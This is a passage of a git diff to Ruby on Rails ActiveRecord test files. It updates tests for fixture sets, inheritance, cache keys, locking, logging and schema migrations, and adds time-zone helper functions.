     assert_equal("The First Topic", topics["first"]["title"])
@@ -190,11 +196,11 @@ class FixturesTest < ActiveRecord::TestCase
   end
 
   def test_empty_yaml_fixture
-    assert_not_nil ActiveRecord::FixtureSet.new( Account.connection, "accounts", 'Account', FIXTURES_ROOT + "/naked/yml/accounts")
+    assert_not_nil ActiveRecord::FixtureSet.new( Account.connection, "accounts", Account, FIXTURES_ROOT + "/naked/yml/accounts")
   end
 
   def test_empty_yaml_fixture_with_a_comment_in_it
-    assert_not_nil ActiveRecord::FixtureSet.new( Account.connection, "companies", 'Company', FIXTURES_ROOT + "/naked/yml/companies")
+    assert_not_nil ActiveRecord::FixtureSet.new( Account.connection, "companies", Company, FIXTURES_ROOT + "/naked/yml/companies")
   end
 
   def test_nonexistent_fixture_file
@@ -204,19 +210,19 @@ class FixturesTest < ActiveRecord::TestCase
     assert Dir[nonexistent_fixture_path+"*"].empty?
 
     assert_raise(Errno::ENOENT) do
-      ActiveRecord::FixtureSet.new( Account.connection, "companies", 'Company', nonexistent_fixture_path)
+      ActiveRecord::FixtureSet.new( Account.connection, "companies", Company, nonexistent_fixture_path)
     end
   end
 
   def test_dirty_dirty_yaml_file
     assert_raise(ActiveRecord::Fixture::FormatError) do
-      ActiveRecord::FixtureSet.new( Account.connection, "courses", 'Course', FIXTURES_ROOT + "/naked/yml/courses")
+      ActiveRecord::FixtureSet.new( Account.connection, "courses", Course, FIXTURES_ROOT + "/naked/yml/courses")
     end
   end
 
   def test_omap_fixtures
     assert_nothing_raised do
-      fixtures = ActiveRecord::FixtureSet.new(Account.connection, 'categories', 'Category', FIXTURES_ROOT + "/categories_ordered")
+      fixtures = ActiveRecord::FixtureSet.new(Account.connection, 'categories', Category, FIXTURES_ROOT + "/categories_ordered")
 
       fixtures.each.with_index do |(name, fixture), i|
         assert_equal "fixture_no_#{i}", name
@@ -245,6 +251,60 @@ class FixturesTest < ActiveRecord::TestCase
   def test_serialized_fixtures
     assert_equal ["Green", "Red", "Orange"], traffic_lights(:uk).state
   end
+
+  def test_fixtures_are_set_up_with_database_env_variable
+    db_url_tmp = ENV['DATABASE_URL']
+    ENV['DATABASE_URL'] = "sqlite3::memory:"
+    ActiveRecord::Base.stubs(:configurations).returns({})
+    test_case = Class.new(ActiveRecord::TestCase) do
+      fixtures :accounts
+
+      def test_fixtures
+        assert accounts(:signals37)
+      end
+    end
+
+    result = test_case.new(:test_fixtures).run
+
+    assert result.passed?, "Expected #{result.name} to pass:\n#{result}"
+  ensure
+    ENV['DATABASE_URL'] = db_url_tmp
+  end
+end
+
+class HasManyThroughFixture < ActiveSupport::TestCase
+  def make_model(name)
+    Class.new(ActiveRecord::Base) { define_singleton_method(:name) { name } }
+  end
+
+  def test_has_many_through
+    pt = make_model "ParrotTreasure"
+    parrot = make_model "Parrot"
+    treasure = make_model "Treasure"
+
+    pt.table_name = "parrots_treasures"
+    pt.belongs_to :parrot, :class => parrot
+    pt.belongs_to :treasure, :class => treasure
+
+    parrot.has_many :parrot_treasures, :class => pt
+    parrot.has_many :treasures, :through => :parrot_treasures
+
+    parrots = File.join FIXTURES_ROOT, 'parrots'
+
+    fs = ActiveRecord::FixtureSet.new parrot.connection, "parrots", parrot, parrots
+    rows = fs.table_rows
+    assert_equal load_has_and_belongs_to_many['parrots_treasures'], rows['parrots_treasures']
+  end
+
+  def load_has_and_belongs_to_many
+    parrot = make_model "Parrot"
+    parrot.has_and_belongs_to_many :treasures
+
+    parrots = File.join FIXTURES_ROOT, 'parrots'
+
+    fs = ActiveRecord::FixtureSet.new parrot.connection, "parrots", parrot, parrots
+    fs.table_rows
+  end
 end
 
 if Account.connection.respond_to?(:reset_pk_sequence!)
@@ -433,7 +493,7 @@ class OverRideFixtureMethodTest < ActiveRecord::TestCase
 end
 
 class CheckSetTableNameFixturesTest < ActiveRecord::TestCase
-  set_fixture_class :funny_jokes => 'Joke'
+  set_fixture_class :funny_jokes => Joke
   fixtures :funny_jokes
   # Set to false to blow away fixtures cache and ensure our fixtures are loaded
   # and thus takes into account our set_fixture_class
@@ -477,10 +537,6 @@ class CustomConnectionFixturesTest < ActiveRecord::TestCase
   fixtures :courses
   self.use_transactional_fixtures = false
 
-  def test_connection_instance_method_deprecation
-    assert_deprecated { courses(:ruby).connection }
-  end
-
   def test_leaky_destroy
     assert_nothing_raised { courses(:ruby) }
     courses(:ruby).destroy
@@ -520,7 +576,7 @@ class InvalidTableNameFixturesTest < ActiveRecord::TestCase
 end
 
 class CheckEscapedYamlFixturesTest < ActiveRecord::TestCase
-  set_fixture_class :funny_jokes => 'Joke'
+  set_fixture_class :funny_jokes => Joke
   fixtures :funny_jokes
   # Set to false to blow away fixtures cache and ensure our fixtures are loaded
   # and thus takes into account our set_fixture_class
@@ -562,26 +618,34 @@ class FixturesBrokenRollbackTest < ActiveRecord::TestCase
   end
 
   private
-    def load_fixtures
+    def load_fixtures(config)
       raise 'argh'
     end
 end
 
 class LoadAllFixturesTest < ActiveRecord::TestCase
-  self.fixture_path = FIXTURES_ROOT + "/all"
-  fixtures :all
-
   def test_all_there
-    assert_equal %w(admin/accounts admin/users developers people tasks), fixture_table_names.sort
+    self.class.fixture_path = FIXTURES_ROOT + "/all"
+    self.class.fixtures :all
+
+    if File.symlink? FIXTURES_ROOT + "/all/admin"
+      assert_equal %w(admin/accounts admin/users developers people tasks), fixture_table_names.sort
+    end
+  ensure
+    ActiveRecord::FixtureSet.reset_cache
   end
 end
 
 class LoadAllFixturesWithPathnameTest < ActiveRecord::TestCase
-  self.fixture_path = Pathname.new(FIXTURES_ROOT).join('all')
-  fixtures :all
-
   def test_all_there
-    assert_equal %w(admin/accounts admin/users developers people tasks), fixture_table_names.sort
+    self.class.fixture_path = Pathname.new(FIXTURES_ROOT).join('all')
+    self.class.fixtures :all
+
+    if File.symlink? FIXTURES_ROOT + "/all/admin"
+      assert_equal %w(admin/accounts admin/users developers people tasks), fixture_table_names.sort
+    end
+  ensure
+    ActiveRecord::FixtureSet.reset_cache
   end
 end
 
diff --git a/activerecord/test/cases/forbidden_attributes_protection_test.rb b/activerecord/test/cases/forbidden_attributes_protection_test.rb
index 490b599..981a75f 100644
--- a/activerecord/test/cases/forbidden_attributes_protection_test.rb
+++ b/activerecord/test/cases/forbidden_attributes_protection_test.rb
@@ -61,4 +61,9 @@ class ForbiddenAttributesProtectionTest < ActiveRecord::TestCase
     assert_equal 'Guille', person.first_name
     assert_equal 'm', person.gender
   end
+
+  def test_blank_attributes_should_not_raise
+    person = Person.new
+    assert_nil person.assign_attributes(ProtectedParams.new({}))
+  end
 end
diff --git a/activerecord/test/cases/helper.rb b/activerecord/test/cases/helper.rb
index 7dbb661..3758224 100644
--- a/activerecord/test/cases/helper.rb
+++ b/activerecord/test/cases/helper.rb
@@ -20,6 +20,9 @@ Thread.abort_on_exception = true
 # Show backtraces for deprecated behavior for quicker cleanup.
 ActiveSupport::Deprecation.debug = true
 
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
 # Connect to the database
 ARTest.connect
 
@@ -49,11 +52,58 @@ ensure
   old_tz ? ENV['TZ'] = old_tz : ENV.delete('TZ')
 end
 
-def with_active_record_default_timezone(zone)
-  old_zone, ActiveRecord::Base.default_timezone = ActiveRecord::Base.default_timezone, zone
+def with_timezone_config(cfg)
+  verify_default_timezone_config
+
+  old_default_zone = ActiveRecord::Base.default_timezone
+  old_awareness = ActiveRecord::Base.time_zone_aware_attributes
+  old_zone = Time.zone
+
+  if cfg.has_key?(:default)
+    ActiveRecord::Base.default_timezone = cfg[:default]
+  end
+  if cfg.has_key?(:aware_attributes)
+    ActiveRecord::Base.time_zone_aware_attributes = cfg[:aware_attributes]
+  end
+  if cfg.has_key?(:zone)
+    Time.zone = cfg[:zone]
+  end
   yield
 ensure
-  ActiveRecord::Base.default_timezone = old_zone
+  ActiveRecord::Base.default_timezone = old_default_zone
+  ActiveRecord::Base.time_zone_aware_attributes = old_awareness
+  Time.zone = old_zone
+end
+
+# This method makes sure that tests don't leak global state related to time zones.
+EXPECTED_ZONE = nil
+EXPECTED_DEFAULT_TIMEZONE = :utc
+EXPECTED_TIME_ZONE_AWARE_ATTRIBUTES = false
+def verify_default_timezone_config
+  if Time.zone != EXPECTED_ZONE
+    $stderr.puts <<-MSG
+\n#{self.to_s}
+    Global state `Time.zone` was leaked.
+      Expected: #{EXPECTED_ZONE}
+      Got: #{Time.zone}
+    MSG
+  end
+  if ActiveRecord::Base.default_timezone != EXPECTED_DEFAULT_TIMEZONE
+    $stderr.puts <<-MSG
+\n#{self.to_s}
+    Global state `ActiveRecord::Base.default_timezone` was leaked.
+      Expected: #{EXPECTED_DEFAULT_TIMEZONE}
+      Got: #{ActiveRecord::Base.default_timezone}
+    MSG
+  end
+  if ActiveRecord::Base.time_zone_aware_attributes != EXPECTED_TIME_ZONE_AWARE_ATTRIBUTES
+    $stderr.puts <<-MSG
+\n#{self.to_s}
+    Global state `ActiveRecord::Base.time_zone_aware_attributes` was leaked.
+      Expected: #{EXPECTED_TIME_ZONE_AWARE_ATTRIBUTES}
+      Got: #{ActiveRecord::Base.time_zone_aware_attributes}
+    MSG
+  end
 end
 
 unless ENV['FIXTURE_DEBUG']
@@ -93,7 +143,7 @@ def load_schema
 
   load SCHEMA_ROOT + "/schema.rb"
 
-  if File.exists?(adapter_specific_schema_file)
+  if File.exist?(adapter_specific_schema_file)
     load adapter_specific_schema_file
   end
 ensure
@@ -102,36 +152,21 @@ end
 
 load_schema
 
-class << Time
-  unless method_defined? :now_before_time_travel
-    alias_method :now_before_time_travel, :now
-  end
+class SQLSubscriber
+  attr_reader :logged
+  attr_reader :payloads
 
-  def now
-    (@now ||= nil) || now_before_time_travel
+  def initialize
+    @logged = []
+    @payloads = []
   end
 
-  def travel_to(time, &block)
-    @now = time
-    block.call
-  ensure
-    @now = nil
+  def start(name, id, payload)
+    @payloads << payload
+    @logged << [payload[:sql], payload[:name], payload[:binds]]
   end
-end
 
-module LogIntercepter
-  attr_accessor :logged, :intercepted
-  def self.extended(base)
-    base.logged = []
-  end
-  def log(sql, name, binds = [], &block)
-    if @intercepted
-      @logged << [sql, name, binds]
-      yield
-    else
-      super(sql, name,binds, &block)
-    end
-  end
+  def finish(name, id, payload); end
 end
 
 module InTimeZone
diff --git a/activerecord/test/cases/hot_compatibility_test.rb b/activerecord/test/cases/hot_compatibility_test.rb
index 96e581a..367d04a 100644
--- a/activerecord/test/cases/hot_compatibility_test.rb
+++ b/activerecord/test/cases/hot_compatibility_test.rb
@@ -5,7 +5,7 @@ class HotCompatibilityTest < ActiveRecord::TestCase
 
   setup do
     @klass = Class.new(ActiveRecord::Base) do
-      connection.create_table :hot_compatibilities do |t|
+      connection.create_table :hot_compatibilities, force: true do |t|
         t.string :foo
         t.string :bar
       end
diff --git a/activerecord/test/cases/inheritance_test.rb b/activerecord/test/cases/inheritance_test.rb
index 73cf99a..e2ff2aa 100644
--- a/activerecord/test/cases/inheritance_test.rb
+++ b/activerecord/test/cases/inheritance_test.rb
@@ -1,10 +1,11 @@
-require "cases/helper"
+require 'cases/helper'
 require 'models/company'
 require 'models/person'
 require 'models/post'
 require 'models/project'
 require 'models/subscriber'
 require 'models/vegetables'
+require 'models/shop'
 
 class InheritanceTest < ActiveRecord::TestCase
   fixtures :companies, :projects, :subscribers, :accounts, :vegetables
@@ -128,6 +129,17 @@ class InheritanceTest < ActiveRecord::TestCase
     assert_kind_of Cabbage, cabbage
   end
 
+  def test_alt_becomes_bang_resets_inheritance_type_column
+    vegetable = Vegetable.create!(name: "Red Pepper")
+    assert_nil vegetable.custom_type
+
+    cabbage = vegetable.becomes!(Cabbage)
+    assert_equal "Cabbage", cabbage.custom_type
+
+    vegetable = cabbage.becomes!(Vegetable)
+    assert_nil cabbage.custom_type
+  end
+
   def test_inheritance_find_all
     companies = Company.all.merge!(:order => 'id').to_a
     assert_kind_of Firm, companies[0], "37signals should be a firm"
@@ -176,14 +188,14 @@ class InheritanceTest < ActiveRecord::TestCase
     e = assert_raises(NotImplementedError) do
       AbstractCompany.new
     end
-    assert_equal("AbstractCompany is an abstract class and can not be instantiated.", e.message)
+    assert_equal("AbstractCompany is an abstract class and cannot be instantiated.", e.message)
   end
 
   def test_new_with_ar_base
     e = assert_raises(NotImplementedError) do
       ActiveRecord::Base.new
     end
-    assert_equal("ActiveRecord::Base is an abstract class and can not be instantiated.", e.message)
+    assert_equal("ActiveRecord::Base is an abstract class and cannot be instantiated.", e.message)
   end
 
   def test_new_with_invalid_type
@@ -210,9 +222,9 @@ class InheritanceTest < ActiveRecord::TestCase
   end
 
   def test_inheritance_condition
-    assert_equal 10, Company.count
+    assert_equal 11, Company.count
     assert_equal 2, Firm.count
-    assert_equal 4, Client.count
+    assert_equal 5, Client.count
   end
 
   def test_alt_inheritance_condition
@@ -356,4 +368,10 @@ class InheritanceComputeTypeTest < ActiveRecord::TestCase
   ensure
     ActiveRecord::Base.store_full_sti_class = true
   end
+
+  def test_sti_type_from_attributes_disabled_in_non_sti_class
+    phone = Shop::Product::Type.new(name: 'Phone')
+    product = Shop::Product.new(:type => phone)
+    assert product.save
+  end
 end
diff --git a/activerecord/test/cases/integration_test.rb b/activerecord/test/cases/integration_test.rb
new file mode 100644
index 0000000..dfb8a60
--- /dev/null
+++ b/activerecord/test/cases/integration_test.rb
@@ -0,0 +1,138 @@
+# encoding: utf-8
+
+require 'cases/helper'
+require 'models/company'
+require 'models/developer'
+require 'models/owner'
+require 'models/pet'
+
+class IntegrationTest < ActiveRecord::TestCase
+  fixtures :companies, :developers, :owners, :pets
+
+  def test_to_param_should_return_string
+    assert_kind_of String, Client.first.to_param
+  end
+
+  def test_to_param_returns_nil_if_not_persisted
+    client = Client.new
+    assert_equal nil, client.to_param
+  end
+
+  def test_to_param_returns_id_if_not_persisted_but_id_is_set
+    client = Client.new
+    client.id = 1
+    assert_equal '1', client.to_param
+  end
+
+  def test_to_param_class_method
+    firm = Firm.find(4)
+    assert_equal '4-flamboyant-software', firm.to_param
+  end
+
+  def test_to_param_class_method_truncates
+    firm = Firm.find(4)
+    firm.name = 'a ' * 100
+    assert_equal '4-a-a-a-a-a-a-a-a-a', firm.to_param
+  end
+
+  def test_to_param_class_method_truncates_edge_case
+    firm = Firm.find(4)
+    firm.name = 'David HeinemeierHansson'
+    assert_equal '4-david', firm.to_param
+  end
+
+  def test_to_param_class_method_squishes
+    firm = Firm.find(4)
+    firm.name = "ab \n" * 100
+    assert_equal '4-ab-ab-ab-ab-ab-ab', firm.to_param
+  end
+
+  def test_to_param_class_method_multibyte_character
+    firm = Firm.find(4)
+    firm.name = "戦場ヶ原 ひたぎ"
+    assert_equal '4', firm.to_param
+  end
+
+  def test_to_param_class_method_uses_default_if_blank
+    firm = Firm.find(4)
+    firm.name = nil
+    assert_equal '4', firm.to_param
+    firm.name = ' '
+    assert_equal '4', firm.to_param
+  end
+
+  def test_to_param_class_method_uses_default_if_not_persisted
+    firm = Firm.new(name: 'Fancy Shirts')
+    assert_equal nil, firm.to_param
+  end
+
+  def test_to_param_with_no_arguments
+    assert_equal 'Firm', Firm.to_param
+  end
+
+  def test_cache_key_for_existing_record_is_not_timezone_dependent
+    utc_key = Developer.first.cache_key
+
+    with_timezone_config zone: "EST" do
+      est_key = Developer.first.cache_key
+      assert_equal utc_key, est_key
+    end
+  end
+
+  def test_cache_key_format_for_existing_record_with_updated_at
+    dev = Developer.first
+    assert_equal "developers/#{dev.id}-#{dev.updated_at.utc.to_s(:nsec)}", dev.cache_key
+  end
+
+  def test_cache_key_format_for_existing_record_with_updated_at_and_custom_cache_timestamp_format
+    dev = CachedDeveloper.first
+    assert_equal "cached_developers/#{dev.id}-#{dev.updated_at.utc.to_s(:number)}", dev.cache_key
+  end
+
+  def test_cache_key_changes_when_child_touched
+    owner = owners(:blackbeard)
+    pet   = pets(:parrot)
+
+    owner.update_column :updated_at, Time.current
+    key = owner.cache_key
+
+    assert pet.touch
+    assert_not_equal key, owner.reload.cache_key
+  end
+
+  def test_cache_key_format_for_existing_record_with_nil_updated_timestamps
+    dev = Developer.first
+    dev.update_columns(updated_at: nil, updated_on: nil)
+    assert_match(/\/#{dev.id}$/, dev.cache_key)
+  end
+
+  def test_cache_key_for_updated_on
+    dev = Developer.first
+    dev.updated_at = nil
+    assert_equal "developers/#{dev.id}-#{dev.updated_on.utc.to_s(:nsec)}", dev.cache_key
+  end
+
+  def test_cache_key_for_newer_updated_at
+    dev = Developer.first
+    dev.updated_at += 3600
+    assert_equal "developers/#{dev.id}-#{dev.updated_at.utc.to_s(:nsec)}", dev.cache_key
+  end
+
+  def test_cache_key_for_newer_updated_on
+    dev = Developer.first
+    dev.updated_on += 3600
+    assert_equal "developers/#{dev.id}-#{dev.updated_on.utc.to_s(:nsec)}", dev.cache_key
+  end
+
+  def test_cache_key_format_is_precise_enough
+    dev = Developer.first
+    key = dev.cache_key
+    dev.touch
+    assert_not_equal key, dev.cache_key
+  end
+
+  def test_named_timestamps_for_cache_key
+    owner = owners(:blackbeard)
+    assert_equal "owners/#{owner.id}-#{owner.happy_at.utc.to_s(:nsec)}", owner.cache_key(:updated_at, :happy_at)
+  end
+end
diff --git a/activerecord/test/cases/invalid_connection_test.rb b/activerecord/test/cases/invalid_connection_test.rb
index f2d8f18..f6774d7 100644
--- a/activerecord/test/cases/invalid_connection_test.rb
+++ b/activerecord/test/cases/invalid_connection_test.rb
@@ -17,6 +17,6 @@ class TestAdapterWithInvalidConnection < ActiveRecord::TestCase
   end
 
   test "inspect on Model class does not raise" do
-    assert_equal "#{Bird.name}(no database connection)", Bird.inspect
+    assert_equal "#{Bird.name} (call '#{Bird.name}.connection' to establish a connection)", Bird.inspect
   end
 end
diff --git a/activerecord/test/cases/invertible_migration_test.rb b/activerecord/test/cases/invertible_migration_test.rb
index 428145d..2b1749c 100644
--- a/activerecord/test/cases/invertible_migration_test.rb
+++ b/activerecord/test/cases/invertible_migration_test.rb
@@ -106,6 +106,22 @@ module ActiveRecord
       end
     end
 
+    class RevertNamedIndexMigration1 < SilentMigration
+      def change
+        create_table("horses") do |t|
+          t.column :content, :string
+          t.column :remind_at, :datetime
+        end
+        add_index :horses, :content
+      end
+    end
+
+    class RevertNamedIndexMigration2 < SilentMigration
+      def change
+        add_index :horses, :content, name: "horses_index_named"
+      end
+    end
+
     def teardown
       %w[horses new_horses].each do |table|
         if ActiveRecord::Base.connection.table_exists?(table)
@@ -255,5 +271,20 @@ module ActiveRecord
       ActiveRecord::Base.table_name_prefix = ActiveRecord::Base.table_name_suffix = ''
     end
 
+    # MySQL 5.7 and Oracle do not allow to create duplicate indexes on the same columns
+    unless current_adapter?(:MysqlAdapter, :Mysql2Adapter, :OracleAdapter)
+      def test_migrate_revert_add_index_with_name
+        RevertNamedIndexMigration1.new.migrate(:up)
+        RevertNamedIndexMigration2.new.migrate(:up)
+        RevertNamedIndexMigration2.new.migrate(:down)
+
+        connection = ActiveRecord::Base.connection
+        assert connection.index_exists?(:horses, :content),
+               "index on content should exist"
+        assert !connection.index_exists?(:horses, :content, name: "horses_index_named"),
+              "horses_index_named index should not exist"
+      end
+    end
+
   end
 end
diff --git a/activerecord/test/cases/locking_test.rb b/activerecord/test/cases/locking_test.rb
index 351e491..c373dc1 100644
--- a/activerecord/test/cases/locking_test.rb
+++ b/activerecord/test/cases/locking_test.rb
@@ -8,6 +8,7 @@ require 'models/legacy_thing'
 require 'models/reference'
 require 'models/string_key_object'
 require 'models/car'
+require 'models/bulb'
 require 'models/engine'
 require 'models/wheel'
 require 'models/treasure'
@@ -16,6 +17,7 @@ class LockWithoutDefault < ActiveRecord::Base; end
 
 class LockWithCustomColumnWithoutDefault < ActiveRecord::Base
   self.table_name = :lock_without_defaults_cust
+  self.column_defaults # to test @column_defaults caching.
   self.locking_column = :custom_lock_version
 end
 
@@ -254,7 +256,7 @@ class OptimisticLockingTest < ActiveRecord::TestCase
     car = Car.create!
 
     assert_difference 'car.wheels.count'  do
-    	car.wheels << Wheel.create!
+      car.wheels << Wheel.create!
     end
     assert_difference 'car.wheels.count', -1  do
       car.destroy
@@ -270,6 +272,10 @@ class OptimisticLockingTest < ActiveRecord::TestCase
     assert p.treasures.empty?
     assert RichPerson.connection.select_all("SELECT * FROM peoples_treasures WHERE rich_person_id = 1").empty?
   end
+
+  def test_quoted_locking_column_is_deprecated
+    assert_deprecated { ActiveRecord::Base.quoted_locking_column }
+  end
 end
 
 class OptimisticLockingWithSchemaChangeTest < ActiveRecord::TestCase
@@ -425,6 +431,17 @@ unless current_adapter?(:SybaseAdapter, :OpenBaseAdapter) || in_memory_db?
       assert_equal old, person.reload.first_name
     end
 
+    if current_adapter?(:PostgreSQLAdapter)
+      def test_lock_sending_custom_lock_statement
+        Person.transaction do
+          person = Person.find(1)
+          assert_sql(/LIMIT 1 FOR SHARE NOWAIT/) do
+            person.lock!('FOR SHARE NOWAIT')
+          end
+        end
+      end
+    end
+
     if current_adapter?(:PostgreSQLAdapter, :OracleAdapter)
       def test_no_locks_no_wait
         first, second = duel { Person.find 1 }
diff --git a/activerecord/test/cases/log_subscriber_test.rb b/activerecord/test/cases/log_subscriber_test.rb
index 57eac0c..a578e81 100644
--- a/activerecord/test/cases/log_subscriber_test.rb
+++ b/activerecord/test/cases/log_subscriber_test.rb
@@ -56,6 +56,13 @@ class LogSubscriberTest < ActiveRecord::TestCase
     assert_equal 2, logger.debugs.length
   end
 
+  def test_sql_statements_are_not_squeezed
+    event = Struct.new(:duration, :payload)
+    logger = TestDebugLogSubscriber.new
+    logger.sql(event.new(0, sql: 'ruby   rails'))
+    assert_match(/ruby   rails/, logger.debugs.first)
+  end
+
   def test_ignore_binds_payload_with_nil_column
     event = Struct.new(:duration, :payload)
 
@@ -112,11 +119,18 @@ class LogSubscriberTest < ActiveRecord::TestCase
     Thread.new { assert_equal 0, ActiveRecord::LogSubscriber.runtime }.join
   end
 
-  def test_binary_data_is_not_logged
-    skip if current_adapter?(:Mysql2Adapter)
+  unless current_adapter?(:Mysql2Adapter)
+    def test_binary_data_is_not_logged
+      Binary.create(data: 'some binary data')
+      wait
+      assert_match(/<16 bytes of binary data>/, @logger.logged(:debug).join)
+    end
 
-    Binary.create(data: 'some binary data')
-    wait
-    assert_match(/<16 bytes of binary data>/, @logger.logged(:debug).join)
+    def test_nil_binary_data_is_logged
+      binary = Binary.create(data: "")
+      binary.update_attributes(data: nil)
+      wait
+      assert_match(/<NULL binary data>/, @logger.logged(:debug).join)
+    end
   end
 end
diff --git a/activerecord/test/cases/migration/change_schema_test.rb b/activerecord/test/cases/migration/change_schema_test.rb
index 8efe733..294f2eb 100644
--- a/activerecord/test/cases/migration/change_schema_test.rb
+++ b/activerecord/test/cases/migration/change_schema_test.rb
@@ -74,8 +74,8 @@ module ActiveRecord
         assert_equal "hello", five.default unless mysql
       end
 
-      def test_add_column_with_array
-        if current_adapter?(:PostgreSQLAdapter)
+      if current_adapter?(:PostgreSQLAdapter)
+        def test_add_column_with_array
           connection.create_table :testings
           connection.add_column :testings, :foo, :string, :array => true
 
@@ -83,13 +83,9 @@ module ActiveRecord
           array_column = columns.detect { |c| c.name == "foo" }
 
           assert array_column.array
-        else
-          skip "array option only supported in PostgreSQLAdapter"
         end
-      end
 
-      def test_create_table_with_array_column
-        if current_adapter?(:PostgreSQLAdapter)
+        def test_create_table_with_array_column
           connection.create_table :testings do |t|
             t.string :foo, :array => true
           end
@@ -98,8 +94,6 @@ module ActiveRecord
           array_column = columns.detect { |c| c.name == "foo" }
 
           assert array_column.array
-        else
-          skip "array option only supported in PostgreSQLAdapter"
         end
       end
 
@@ -211,20 +205,18 @@ module ActiveRecord
         connection.create_table table_name
       end
 
-      def test_add_column_not_null_without_default
-        # Sybase, and SQLite3 will not allow you to add a NOT NULL
-        # column to a table without a default value.
-        if current_adapter?(:SybaseAdapter, :SQLite3Adapter)
-          skip "not supported on #{connection.class}"
-        end
-
-        connection.create_table :testings do |t|
-          t.column :foo, :string
-        end
-        connection.add_column :testings, :bar, :string, :null => false
+      # Sybase, and SQLite3 will not allow you to add a NOT NULL
+      # column to a table without a default value.
+      unless current_adapter?(:SybaseAdapter, :SQLite3Adapter)
+        def test_add_column_not_null_without_default
+          connection.create_table :testings do |t|
+            t.column :foo, :string
+          end
+          connection.add_column :testings, :bar, :string, :null => false
 
-        assert_raise(ActiveRecord::StatementInvalid) do
-          connection.execute "insert into testings (foo, bar) values ('hello', NULL)"
+          assert_raise(ActiveRecord::StatementInvalid) do
+            connection.execute "insert into testings (foo, bar) values ('hello', NULL)"
+          end
         end
       end
 
@@ -264,7 +256,7 @@ module ActiveRecord
         end
       end
 
-      def test_keeping_default_and_notnull_constaint_on_change
+      def test_keeping_default_and_notnull_constraints_on_change
         connection.create_table :testings do |t|
           t.column :title, :string
         end
@@ -316,6 +308,22 @@ module ActiveRecord
         assert_equal 2000, connection.select_values("SELECT money FROM testings").first.to_i
       end
 
+      def test_change_column_null
+        testing_table_with_only_foo_attribute do
+          notnull_migration = Class.new(ActiveRecord::Migration) do
+            def change
+              change_column_null :testings, :foo, false
+            end
+          end
+          notnull_migration.new.suppress_messages do
+            notnull_migration.migrate(:up)
+            assert_equal false, connection.columns(:testings).find{ |c| c.name == "foo"}.null
+            notnull_migration.migrate(:down)
+            assert connection.columns(:testings).find{ |c| c.name == "foo"}.null
+          end
+        end
+      end
+
       def test_column_exists
         connection.create_table :testings do |t|
           t.column :foo, :string
diff --git a/activerecord/test/cases/migration/change_table_test.rb b/activerecord/test/cases/migration/change_table_test.rb
index 8065541..c1d7cd5 100644
--- a/activerecord/test/cases/migration/change_table_test.rb
+++ b/activerecord/test/cases/migration/change_table_test.rb
@@ -5,7 +5,7 @@ module ActiveRecord
   class Migration
     class TableTest < ActiveRecord::TestCase
       def setup
-        @connection = MiniTest::Mock.new
+        @connection = Minitest::Mock.new
       end
 
       def teardown
diff --git a/activerecord/test/cases/migration/column_attributes_test.rb b/activerecord/test/cases/migration/column_attributes_test.rb
index ec29266..ccf19fb 100644
--- a/activerecord/test/cases/migration/column_attributes_test.rb
+++ b/activerecord/test/cases/migration/column_attributes_test.rb
@@ -16,40 +16,31 @@ module ActiveRecord
       end
 
       def test_add_remove_single_field_using_string_arguments
-        assert_not TestModel.column_methods_hash.key?(:last_name)
+        assert_no_column TestModel, :last_name
 
         add_column 'test_models', 'last_name', :string
-
-        TestModel.reset_column_information
-
-        assert TestModel.column_methods_hash.key?(:last_name)
+        assert_column TestModel, :last_name
 
         remove_column 'test_models', 'last_name'
-
-        TestModel.reset_column_information
-        assert_not TestModel.column_methods_hash.key?(:last_name)
+        assert_no_column TestModel, :last_name
       end
 
       def test_add_remove_single_field_using_symbol_arguments
-        assert_not TestModel.column_methods_hash.key?(:last_name)
+        assert_no_column TestModel, :last_name
 
         add_column :test_models, :last_name, :string
-
-        TestModel.reset_column_information
-        assert TestModel.column_methods_hash.key?(:last_name)
+        assert_column TestModel, :last_name
 
         remove_column :test_models, :last_name
-
-        TestModel.reset_column_information
-        assert_not TestModel.column_methods_hash.key?(:last_name)
+        assert_no_column TestModel, :last_name
       end
 
-      def test_unabstracted_database_dependent_types
-        skip "not supported" unless current_adapter?(:MysqlAdapter, :Mysql2Adapter)
-
-        add_column :test_models, :intelligence_quotient, :tinyint
-        TestModel.reset_column_information
-        assert_match(/tinyint/, TestModel.columns_hash['intelligence_quotient'].sql_type)
+      if current_adapter?(:MysqlAdapter, :Mysql2Adapter)
+        def test_unabstracted_database_dependent_types
+          add_column :test_models, :intelligence_quotient, :tinyint
+          TestModel.reset_column_information
+          assert_match(/tinyint/, TestModel.columns_hash['intelligence_quotient'].sql_type)
+        end
       end
 
       # We specifically do a manual INSERT here, and then test only the SELECT
@@ -104,22 +95,22 @@ module ActiveRecord
         assert_equal 7, wealth_column.scale
       end
 
-      def test_change_column_preserve_other_column_precision_and_scale
-        skip "only on sqlite3" unless current_adapter?(:SQLite3Adapter)
+      if current_adapter?(:SQLite3Adapter)
+        def test_change_column_preserve_other_column_precision_and_scale
+          connection.add_column 'test_models', 'last_name', :string
+          connection.add_column 'test_models', 'wealth', :decimal, :precision => 9, :scale => 7
 
-        connection.add_column 'test_models', 'last_name', :string
-        connection.add_column 'test_models', 'wealth', :decimal, :precision => 9, :scale => 7
+          wealth_column = TestModel.columns_hash['wealth']
+          assert_equal 9, wealth_column.precision
+          assert_equal 7, wealth_column.scale
 
-        wealth_column = TestModel.columns_hash['wealth']
-        assert_equal 9, wealth_column.precision
-        assert_equal 7, wealth_column.scale
-
-        connection.change_column 'test_models', 'last_name', :string, :null => false
-        TestModel.reset_column_information
+          connection.change_column 'test_models', 'last_name', :string, :null => false
+          TestModel.reset_column_information
 
-        wealth_column = TestModel.columns_hash['wealth']
-        assert_equal 9, wealth_column.precision
-        assert_equal 7, wealth_column.scale
+          wealth_column = TestModel.columns_hash['wealth']
+          assert_equal 9, wealth_column.precision
+          assert_equal 7, wealth_column.scale
+        end
       end
 
       def test_native_types
@@ -168,37 +159,17 @@ module ActiveRecord
           assert_equal Date, bob.favorite_day.class
         end
 
-        # Oracle adapter stores Time or DateTime with timezone value already in _before_type_cast column
-        # therefore no timezone change is done afterwards when default timezone is changed
-        unless current_adapter?(:OracleAdapter)
-          # Test DateTime column and defaults, including timezone.
-          # FIXME: moment of truth may be Time on 64-bit platforms.
-          if bob.moment_of_truth.is_a?(DateTime)
-
-            with_env_tz 'US/Eastern' do
-              bob.reload
-              assert_equal DateTime.local_offset, bob.moment_of_truth.offset
-              assert_not_equal 0, bob.moment_of_truth.offset
-              assert_not_equal "Z", bob.moment_of_truth.zone
-              # US/Eastern is -5 hours from GMT
